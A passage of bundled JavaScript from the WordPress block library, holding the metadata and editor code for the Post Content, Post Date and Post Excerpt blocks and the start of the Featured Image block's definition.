        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: "wp-block-post-content",
    editorStyle: "wp-block-post-content-editor"
  };

  // packages/block-library/build-module/post-content/edit.mjs
  var import_i18n166 = __toESM(require_i18n(), 1);
  var import_block_editor188 = __toESM(require_block_editor(), 1);
  var import_blocks83 = __toESM(require_blocks(), 1);
  var import_core_data58 = __toESM(require_core_data(), 1);
  var import_data103 = __toESM(require_data(), 1);
  var import_element95 = __toESM(require_element(), 1);
  var import_jsx_runtime364 = __toESM(require_jsx_runtime(), 1);
  var { HTMLElementControl: HTMLElementControl5 } = unlock(import_block_editor188.privateApis);
  function ReadOnlyContent({
    parentLayout,
    layoutClassNames,
    userCanEdit,
    postType,
    postId,
    tagName: TagName2 = "div"
  }) {
    const [, , content] = (0, import_core_data58.useEntityProp)(
      "postType",
      postType,
      "content",
      postId
    );
    const blockProps = (0, import_block_editor188.useBlockProps)({ className: layoutClassNames });
    const blocks = (0, import_element95.useMemo)(() => {
      return content?.raw ? (0, import_blocks83.parse)(content.raw) : [];
    }, [content?.raw]);
    const blockPreviewProps = (0, import_block_editor188.__experimentalUseBlockPreview)({
      blocks,
      props: blockProps,
      layout: parentLayout
    });
    if (userCanEdit) {
      return /* @__PURE__ */ (0, import_jsx_runtime364.jsx)("div", { ...blockPreviewProps });
    }
    return content?.protected ? /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(import_block_editor188.Warning, { children: (0, import_i18n166.__)("This content is password protected.") }) }) : /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(
      TagName2,
      {
        ...blockProps,
        dangerouslySetInnerHTML: { __html: content?.rendered }
      }
    );
  }
  function EditableContent({ context = {}, tagName: TagName2 = "div" }) {
    const { postType, postId } = context;
    const [blocks, onInput, onChange] = (0, import_core_data58.useEntityBlockEditor)(
      "postType",
      postType,
      { id: postId }
    );
    const entityRecord = (0, import_data103.useSelect)(
      (select9) => {
        return select9(import_core_data58.store).getEntityRecord(
          "postType",
          postType,
          postId
        );
      },
      [postType, postId]
    );
    const hasInnerBlocks = !!entityRecord?.content?.raw || blocks?.length;
    const initialInnerBlocks = [["core/paragraph"]];
    const props = (0, import_block_editor188.useInnerBlocksProps)(
      (0, import_block_editor188.useBlockProps)({ className: "entry-content" }),
      {
        value: blocks,
        onInput,
        onChange,
        template: !hasInnerBlocks ? initialInnerBlocks : void 0
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(TagName2, { ...props });
  }
  function Content(props) {
    const {
      context: { queryId, postType, postId } = {},
      layoutClassNames,
      tagName
    } = props;
    const userCanEdit = useCanEditEntity("postType", postType, postId);
    if (userCanEdit === void 0) {
      return null;
    }
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const isEditable = userCanEdit && !isDescendentOfQueryLoop;
    return isEditable ? /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(EditableContent, { ...props }) : /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(
      ReadOnlyContent,
      {
        parentLayout: props.parentLayout,
        layoutClassNames,
        userCanEdit,
        postType,
        postId,
        tagName
      }
    );
  }
  function Placeholder16({ layoutClassNames }) {
    const blockProps = (0, import_block_editor188.useBlockProps)({ className: layoutClassNames });
    return /* @__PURE__ */ (0, import_jsx_runtime364.jsxs)("div", { ...blockProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime364.jsx)("p", { children: (0, import_i18n166.__)(
        "This is the Content block, it will display all the blocks in any single post or page."
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime364.jsx)("p", { children: (0, import_i18n166.__)(
        "That might be a simple arrangement like consecutive paragraphs in a blog post, or a more elaborate composition that includes image galleries, videos, tables, columns, and any other block types."
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime364.jsx)("p", { children: (0, import_i18n166.__)(
        "If there are any Custom Post Types registered at your site, the Content block can display the contents of those entries as well."
      ) })
    ] });
  }
  function RecursionError() {
    const blockProps = (0, import_block_editor188.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime364.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(import_block_editor188.Warning, { children: (0, import_i18n166.__)("Block cannot be rendered inside itself.") }) });
  }
  function PostContentEditControls({ tagName, onSelectTagName, clientId }) {
    return /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(import_block_editor188.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(
      HTMLElementControl5,
      {
        tagName,
        onChange: onSelectTagName,
        clientId,
        options: [
          { label: (0, import_i18n166.__)("Default (<div>)"), value: "div" },
          { label: "<main>", value: "main" },
          { label: "<section>", value: "section" },
          { label: "<article>", value: "article" }
        ]
      }
    ) });
  }
  function PostContentEdit({
    context,
    attributes: { tagName = "div" },
    setAttributes,
    clientId,
    __unstableLayoutClassNames: layoutClassNames,
    __unstableParentLayout: parentLayout
  }) {
    const { postId: contextPostId, postType: contextPostType } = context;
    const hasAlreadyRendered = (0, import_block_editor188.useHasRecursion)(contextPostId);
    if (contextPostId && contextPostType && hasAlreadyRendered) {
      return /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(RecursionError, {});
    }
    const handleSelectTagName = (value) => {
      setAttributes({ tagName: value });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime364.jsxs)(import_jsx_runtime364.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(
        PostContentEditControls,
        {
          tagName,
          onSelectTagName: handleSelectTagName,
          clientId
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(import_block_editor188.RecursionProvider, { uniqueId: contextPostId, children: contextPostId && contextPostType ? /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(
        Content,
        {
          context,
          parentLayout,
          layoutClassNames
        }
      ) : /* @__PURE__ */ (0, import_jsx_runtime364.jsx)(Placeholder16, { layoutClassNames }) })
    ] });
  }

  // packages/block-library/build-module/post-content/index.mjs
  var { name: name73 } = block_default72;
  var settings72 = {
    icon: post_content_default,
    edit: PostContentEdit
  };
  var init72 = () => initBlock({ name: name73, metadata: block_default72, settings: settings72 });

  // packages/block-library/build-module/post-date/index.mjs
  var post_date_exports = {};
  __export(post_date_exports, {
    init: () => init73,
    metadata: () => block_default73,
    name: () => name74,
    settings: () => settings73
  });

  // packages/block-library/build-module/post-date/block.json
  var block_default73 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-date",
    title: "Date",
    category: "theme",
    description: "Display a custom date.",
    textdomain: "default",
    attributes: {
      datetime: {
        type: "string",
        role: "content"
      },
      textAlign: {
        type: "string"
      },
      format: {
        type: "string"
      },
      isLink: {
        type: "boolean",
        default: false,
        role: "content"
      }
    },
    usesContext: ["postId", "postType", "queryId"],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    }
  };

  // packages/block-library/build-module/post-date/edit.mjs
  var import_core_data59 = __toESM(require_core_data(), 1);
  var import_element96 = __toESM(require_element(), 1);
  var import_date3 = __toESM(require_date(), 1);
  var import_block_editor189 = __toESM(require_block_editor(), 1);
  var import_components108 = __toESM(require_components(), 1);
  var import_i18n167 = __toESM(require_i18n(), 1);
  var import_keycodes8 = __toESM(require_keycodes(), 1);
  var import_data104 = __toESM(require_data(), 1);
  var import_blocks84 = __toESM(require_blocks(), 1);
  var import_jsx_runtime365 = __toESM(require_jsx_runtime(), 1);
  function PostDateEdit({
    attributes: attributes2,
    context: { postType: postTypeSlug, queryId },
    setAttributes,
    name: name123
  }) {
    const { datetime, textAlign, format: format3, isLink } = attributes2;
    const blockProps = (0, import_block_editor189.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const [popoverAnchor, setPopoverAnchor] = (0, import_element96.useState)(null);
    const popoverProps = (0, import_element96.useMemo)(
      () => ({ anchor: popoverAnchor }),
      [popoverAnchor]
    );
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data104.useDispatch)(import_block_editor189.store);
    (0, import_element96.useEffect)(() => {
      if (datetime === void 0) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({ datetime: /* @__PURE__ */ new Date() });
      }
    }, [datetime]);
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const dateSettings = (0, import_date3.getSettings)();
    const {
      postType,
      siteFormat = dateSettings.formats.date,
      siteTimeFormat = dateSettings.formats.time
    } = (0, import_data104.useSelect)(
      (select9) => {
        const { getPostType, getEntityRecord } = select9(import_core_data59.store);
        const siteSettings = getEntityRecord("root", "site");
        return {
          siteFormat: siteSettings?.date_format,
          siteTimeFormat: siteSettings?.time_format,
          postType: postTypeSlug ? getPostType(postTypeSlug) : null
        };
      },
      [postTypeSlug]
    );
    const activeBlockVariationName = (0, import_data104.useSelect)(
      (select9) => select9(import_blocks84.store).getActiveBlockVariation(name123, attributes2)?.name,
      [name123, attributes2]
    );
    const blockEditingMode = (0, import_block_editor189.useBlockEditingMode)();
    let postDate2 = /* @__PURE__ */ (0, import_jsx_runtime365.jsx)("time", { dateTime: (0, import_date3.dateI18n)("c", datetime), ref: setPopoverAnchor, children: format3 === "human-diff" ? (0, import_date3.humanTimeDiff)(datetime) : (0, import_date3.dateI18n)(format3 || siteFormat, datetime) });
    if (isLink && datetime) {
      postDate2 = /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
        "a",
        {
          href: "#post-date-pseudo-link",
          onClick: (event) => event.preventDefault(),
          children: postDate2
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime365.jsxs)(import_jsx_runtime365.Fragment, { children: [
      (blockEditingMode === "default" || !isDescendentOfQueryLoop) && /* @__PURE__ */ (0, import_jsx_runtime365.jsxs)(import_block_editor189.BlockControls, { group: "block", children: [
        /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
          import_block_editor189.AlignmentControl,
          {
            value: textAlign,
            onChange: (nextAlign) => {
              setAttributes({ textAlign: nextAlign });
            }
          }
        ),
        activeBlockVariationName !== "post-date-modified" && (!isDescendentOfQueryLoop || !activeBlockVariationName) && /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(import_components108.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
          import_components108.Dropdown,
          {
            popoverProps,
            renderContent: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
              import_block_editor189.__experimentalPublishDateTimePicker,
              {
                title: activeBlockVariationName === "post-date" ? (0, import_i18n167.__)("Publish Date") : (0, import_i18n167.__)("Date"),
                currentDate: datetime,
                onChange: (newDatetime) => setAttributes({
                  datetime: newDatetime
                }),
                is12Hour: is12HourFormat(
                  siteTimeFormat
                ),
                onClose,
                dateOrder: (
                  /* translators: Order of day, month, and year. Available formats are 'dmy', 'mdy', and 'ymd'. */
                  (0, import_i18n167._x)("dmy", "date order")
                )
              }
            ),
            renderToggle: ({ isOpen, onToggle }) => {
              const openOnArrowDown = (event) => {
                if (!isOpen && event.keyCode === import_keycodes8.DOWN) {
                  event.preventDefault();
                  onToggle();
                }
              };
              return /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
                import_components108.ToolbarButton,
                {
                  "aria-expanded": isOpen,
                  icon: pencil_default,
                  title: (0, import_i18n167.__)("Change Date"),
                  onClick: onToggle,
                  onKeyDown: openOnArrowDown
                }
              );
            }
          }
        ) })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(import_block_editor189.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime365.jsxs)(
        import_components108.__experimentalToolsPanel,
        {
          label: (0, import_i18n167.__)("Settings"),
          resetAll: () => {
            setAttributes({
              datetime: void 0,
              format: void 0,
              isLink: false
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
              import_components108.__experimentalToolsPanelItem,
              {
                hasValue: () => !!format3,
                label: (0, import_i18n167.__)("Date Format"),
                onDeselect: () => setAttributes({ format: void 0 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
                  import_block_editor189.__experimentalDateFormatPicker,
                  {
                    format: format3,
                    defaultFormat: siteFormat,
                    onChange: (nextFormat) => setAttributes({ format: nextFormat })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
              import_components108.__experimentalToolsPanelItem,
              {
                hasValue: () => isLink !== false,
                label: postType?.labels.singular_name ? (0, import_i18n167.sprintf)(
                  // translators: %s: Name of the post type e.g: "post".
                  (0, import_i18n167.__)("Link to %s"),
                  postType.labels.singular_name.toLowerCase()
                ) : (0, import_i18n167.__)("Link to post"),
                onDeselect: () => setAttributes({ isLink: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime365.jsx)(
                  import_components108.ToggleControl,
                  {
                    label: postType?.labels.singular_name ? (0, import_i18n167.sprintf)(
                      // translators: %s: Name of the post type e.g: "post".
                      (0, import_i18n167.__)("Link to %s"),
                      postType.labels.singular_name.toLowerCase()
                    ) : (0, import_i18n167.__)("Link to post"),
                    onChange: () => setAttributes({ isLink: !isLink }),
                    checked: isLink
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime365.jsx)("div", { ...blockProps, children: postDate2 })
    ] });
  }
  function is12HourFormat(format3) {
    return /(?:^|[^\\])[aAgh]/.test(format3);
  }

  // packages/block-library/build-module/post-date/deprecated.mjs
  var v38 = {
    attributes: {
      datetime: {
        type: "string",
        role: "content"
      },
      textAlign: {
        type: "string"
      },
      format: {
        type: "string"
      },
      isLink: {
        type: "boolean",
        default: false,
        role: "content"
      }
    },
    supports: {
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    save() {
      return null;
    },
    migrate({
      metadata: {
        bindings: {
          datetime: {
            source,
            args: { key, ...otherArgs }
          },
          ...otherBindings
        },
        ...otherMetadata
      },
      ...otherAttributes
    }) {
      return {
        metadata: {
          bindings: {
            datetime: {
              source,
              args: { field: key, ...otherArgs }
            },
            ...otherBindings
          },
          ...otherMetadata
        },
        ...otherAttributes
      };
    },
    isEligible(attributes2) {
      return attributes2?.metadata?.bindings?.datetime?.source === "core/post-data" && !!attributes2?.metadata?.bindings?.datetime?.args?.key;
    }
  };
  var v213 = {
    attributes: {
      textAlign: {
        type: "string"
      },
      format: {
        type: "string"
      },
      isLink: {
        type: "boolean",
        default: false,
        role: "content"
      },
      displayType: {
        type: "string",
        default: "date"
      }
    },
    supports: {
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    save() {
      return null;
    },
    migrate({ className, displayType, metadata, ...otherAttributes }) {
      if (displayType === "date" || displayType === "modified") {
        if (displayType === "modified") {
          className = clsx_default(
            className,
            "wp-block-post-date__modified-date"
          );
        }
        return {
          ...otherAttributes,
          className,
          metadata: {
            ...metadata,
            bindings: {
              datetime: {
                source: "core/post-data",
                args: { field: displayType }
              }
            }
          }
        };
      }
    },
    isEligible(attributes2) {
      return !attributes2.datetime && !attributes2?.metadata?.bindings?.datetime;
    }
  };
  var v130 = {
    attributes: {
      textAlign: {
        type: "string"
      },
      format: {
        type: "string"
      },
      isLink: {
        type: "boolean",
        default: false
      }
    },
    supports: {
      html: false,
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalLetterSpacing: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated_default35 = [v38, v213, v130];

  // packages/block-library/build-module/post-date/variations.mjs
  var import_i18n168 = __toESM(require_i18n(), 1);
  var variations10 = [
    {
      name: "post-date",
      title: (0, import_i18n168.__)("Post Date"),
      description: (0, import_i18n168.__)("Display a post's publish date."),
      attributes: {
        metadata: {
          bindings: {
            datetime: {
              source: "core/post-data",
              args: { field: "date" }
            }
          }
        }
      },
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => blockAttributes8?.metadata?.bindings?.datetime?.source === "core/post-data" && blockAttributes8?.metadata?.bindings?.datetime?.args?.field === "date"
    },
    {
      name: "post-date-modified",
      title: (0, import_i18n168.__)("Modified Date"),
      description: (0, import_i18n168.__)("Display a post's last updated date."),
      attributes: {
        metadata: {
          bindings: {
            datetime: {
              source: "core/post-data",
              args: { field: "modified" }
            }
          }
        },
        className: "wp-block-post-date__modified-date"
      },
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => blockAttributes8?.metadata?.bindings?.datetime?.source === "core/post-data" && blockAttributes8?.metadata?.bindings?.datetime?.args?.field === "modified"
    }
  ];
  var variations_default10 = variations10;

  // packages/block-library/build-module/post-date/index.mjs
  var { name: name74 } = block_default73;
  var settings73 = {
    icon: post_date_default,
    edit: PostDateEdit,
    deprecated: deprecated_default35,
    variations: variations_default10
  };
  var init73 = () => initBlock({ name: name74, metadata: block_default73, settings: settings73 });

  // packages/block-library/build-module/post-excerpt/index.mjs
  var post_excerpt_exports = {};
  __export(post_excerpt_exports, {
    init: () => init74,
    metadata: () => block_default74,
    name: () => name75,
    settings: () => settings74
  });

  // packages/block-library/build-module/post-excerpt/block.json
  var block_default74 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-excerpt",
    title: "Excerpt",
    category: "theme",
    description: "Display the excerpt.",
    textdomain: "default",
    attributes: {
      textAlign: {
        type: "string"
      },
      moreText: {
        type: "string",
        role: "content"
      },
      showMoreOnNewLine: {
        type: "boolean",
        default: true
      },
      excerptLength: {
        type: "number",
        default: 55
      }
    },
    usesContext: ["postId", "postType", "queryId"],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textColumns: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    editorStyle: "wp-block-post-excerpt-editor",
    style: "wp-block-post-excerpt"
  };

  // packages/block-library/build-module/post-excerpt/edit.mjs
  var import_core_data60 = __toESM(require_core_data(), 1);
  var import_element97 = __toESM(require_element(), 1);
  var import_block_editor190 = __toESM(require_block_editor(), 1);
  var import_components109 = __toESM(require_components(), 1);
  var import_i18n169 = __toESM(require_i18n(), 1);
  var import_data105 = __toESM(require_data(), 1);
  var import_jsx_runtime366 = __toESM(require_jsx_runtime(), 1);
  var ELLIPSIS = "\u2026";
  function PostExcerptEditor({
    attributes: { textAlign, moreText, showMoreOnNewLine, excerptLength },
    setAttributes,
    isSelected,
    context: { postId, postType, queryId }
  }) {
    const blockEditingMode = (0, import_block_editor190.useBlockEditingMode)();
    const showControls = blockEditingMode === "default";
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const userCanEdit = useCanEditEntity("postType", postType, postId);
    const [
      rawExcerpt,
      setExcerpt,
      { rendered: renderedExcerpt, protected: isProtected } = {}
    ] = (0, import_core_data60.useEntityProp)("postType", postType, "excerpt", postId);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const postTypeSupportsExcerpts = (0, import_data105.useSelect)(
      (select9) => {
        if (postType === "page") {
          return true;
        }
        return !!select9(import_core_data60.store).getPostType(postType)?.supports?.excerpt;
      },
      [postType]
    );
    const isEditable = userCanEdit && !isDescendentOfQueryLoop && postTypeSupportsExcerpts;
    const blockProps = (0, import_block_editor190.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const wordCountType = (0, import_i18n169._x)("words", "Word count type. Do not translate!");
    const strippedRenderedExcerpt = (0, import_element97.useMemo)(() => {
      if (!renderedExcerpt) {
        return "";
      }
      const document2 = new window.DOMParser().parseFromString(
        renderedExcerpt,
        "text/html"
      );
      return document2.body.textContent || document2.body.innerText || "";
    }, [renderedExcerpt]);
    if (!postType || !postId) {
      return /* @__PURE__ */ (0, import_jsx_runtime366.jsxs)(import_jsx_runtime366.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(import_block_editor190.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
          import_block_editor190.AlignmentToolbar,
          {
            value: textAlign,
            onChange: (newAlign) => setAttributes({ textAlign: newAlign })
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime366.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)("p", { children: (0, import_i18n169.__)("This block will display the excerpt.") }) })
      ] });
    }
    if (isProtected && !userCanEdit) {
      return /* @__PURE__ */ (0, import_jsx_runtime366.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(import_block_editor190.Warning, { children: (0, import_i18n169.__)(
        "The content is currently protected and does not have the available excerpt."
      ) }) });
    }
    const readMoreLink = /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
      import_block_editor190.RichText,
      {
        identifier: "moreText",
        className: "wp-block-post-excerpt__more-link",
        tagName: "a",
        "aria-label": (0, import_i18n169.__)("\u201CRead more\u201D link text"),
        placeholder: (0, import_i18n169.__)('Add "read more" link text'),
        value: moreText,
        onChange: (newMoreText) => setAttributes({ moreText: newMoreText }),
        withoutInteractiveFormatting: true
      }
    );
    const excerptClassName = clsx_default("wp-block-post-excerpt__excerpt", {
      "is-inline": !showMoreOnNewLine
    });
    const rawOrRenderedExcerpt = (rawExcerpt || strippedRenderedExcerpt).trim();
    let trimmedExcerpt = "";
    if (wordCountType === "words") {
      trimmedExcerpt = rawOrRenderedExcerpt.split(/\s+/, excerptLength).join(" ");
    } else if (wordCountType === "characters_excluding_spaces") {
      const excerptWithSpaces = rawOrRenderedExcerpt.split("", excerptLength).join("");
      const numberOfSpaces = excerptWithSpaces.length - excerptWithSpaces.replaceAll(" ", "").length;
      trimmedExcerpt = rawOrRenderedExcerpt.split("", excerptLength + numberOfSpaces).join("");
    } else if (wordCountType === "characters_including_spaces") {
      trimmedExcerpt = rawOrRenderedExcerpt.split("", excerptLength).join("");
    }
    const isTrimmed = trimmedExcerpt !== rawOrRenderedExcerpt;
    const excerptContent = isEditable ? /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
      import_block_editor190.RichText,
      {
        className: excerptClassName,
        "aria-label": (0, import_i18n169.__)("Excerpt text"),
        value: isSelected ? rawOrRenderedExcerpt : (!isTrimmed ? rawOrRenderedExcerpt : trimmedExcerpt + ELLIPSIS) || (0, import_i18n169.__)("No excerpt found"),
        onChange: setExcerpt,
        tagName: "p",
        allowedFormats: [],
        preserveWhiteSpace: true
      }
    ) : /* @__PURE__ */ (0, import_jsx_runtime366.jsx)("p", { className: excerptClassName, children: !isTrimmed ? rawOrRenderedExcerpt || (0, import_i18n169.__)("No excerpt found") : trimmedExcerpt + ELLIPSIS });
    return /* @__PURE__ */ (0, import_jsx_runtime366.jsxs)(import_jsx_runtime366.Fragment, { children: [
      showControls && /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(import_block_editor190.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
        import_block_editor190.AlignmentToolbar,
        {
          value: textAlign,
          onChange: (newAlign) => setAttributes({ textAlign: newAlign })
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(import_block_editor190.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime366.jsxs)(
        import_components109.__experimentalToolsPanel,
        {
          label: (0, import_i18n169.__)("Settings"),
          resetAll: () => {
            setAttributes({
              showMoreOnNewLine: true,
              excerptLength: 55
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
              import_components109.__experimentalToolsPanelItem,
              {
                hasValue: () => showMoreOnNewLine !== true,
                label: (0, import_i18n169.__)("Show link on new line"),
                onDeselect: () => setAttributes({ showMoreOnNewLine: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
                  import_components109.ToggleControl,
                  {
                    label: (0, import_i18n169.__)("Show link on new line"),
                    checked: showMoreOnNewLine,
                    onChange: (newShowMoreOnNewLine) => setAttributes({
                      showMoreOnNewLine: newShowMoreOnNewLine
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
              import_components109.__experimentalToolsPanelItem,
              {
                hasValue: () => excerptLength !== 55,
                label: (0, import_i18n169.__)("Max number of words"),
                onDeselect: () => setAttributes({ excerptLength: 55 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime366.jsx)(
                  import_components109.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n169.__)("Max number of words"),
                    value: excerptLength,
                    onChange: (value) => {
                      setAttributes({ excerptLength: value });
                    },
                    min: "10",
                    max: "100"
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime366.jsxs)("div", { ...blockProps, children: [
        excerptContent,
        !showMoreOnNewLine && " ",
        showMoreOnNewLine ? /* @__PURE__ */ (0, import_jsx_runtime366.jsx)("p", { className: "wp-block-post-excerpt__more-text", children: readMoreLink }) : readMoreLink
      ] })
    ] });
  }

  // packages/block-library/build-module/post-excerpt/transforms.mjs
  var import_blocks85 = __toESM(require_blocks(), 1);
  var transforms25 = {
    from: [
      {
        type: "block",
        blocks: ["core/post-content"],
        transform: () => (0, import_blocks85.createBlock)("core/post-excerpt")
      }
    ],
    to: [
      {
        type: "block",
        blocks: ["core/post-content"],
        transform: () => (0, import_blocks85.createBlock)("core/post-content")
      }
    ]
  };
  var transforms_default26 = transforms25;

  // packages/block-library/build-module/post-excerpt/index.mjs
  var { name: name75 } = block_default74;
  var settings74 = {
    icon: post_excerpt_default,
    transforms: transforms_default26,
    edit: PostExcerptEditor
  };
  var init74 = () => initBlock({ name: name75, metadata: block_default74, settings: settings74 });

  // packages/block-library/build-module/post-featured-image/index.mjs
  var post_featured_image_exports = {};
  __export(post_featured_image_exports, {
    init: () => init75,
    metadata: () => block_default75,
    name: () => name76,
    settings: () => settings75
  });

  // packages/block-library/build-module/post-featured-image/block.json
  var block_default75 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-featured-image",
    title: "Featured Image",
    category: "theme",
    description: "Display a post's featured image.",
    textdomain: "default",
    attributes: {
      isLink: {
        type: "boolean",
        default: false,
        role: "content"
      },
      aspectRatio: {
        type: "string"
      },
      width: {
        type: "string"
      },
      height: {
        type: "string"
      },
      scale: {
        type: "string",
        default: "cover"
      },
      sizeSlug: {
        type: "string"
      },
      rel: {
        type: "string",
        attribute: "rel",
        default: "",
        role: "content"
      },
      linkTarget: {
        type: "string",
        default: "_self",
        role: "content"
      },
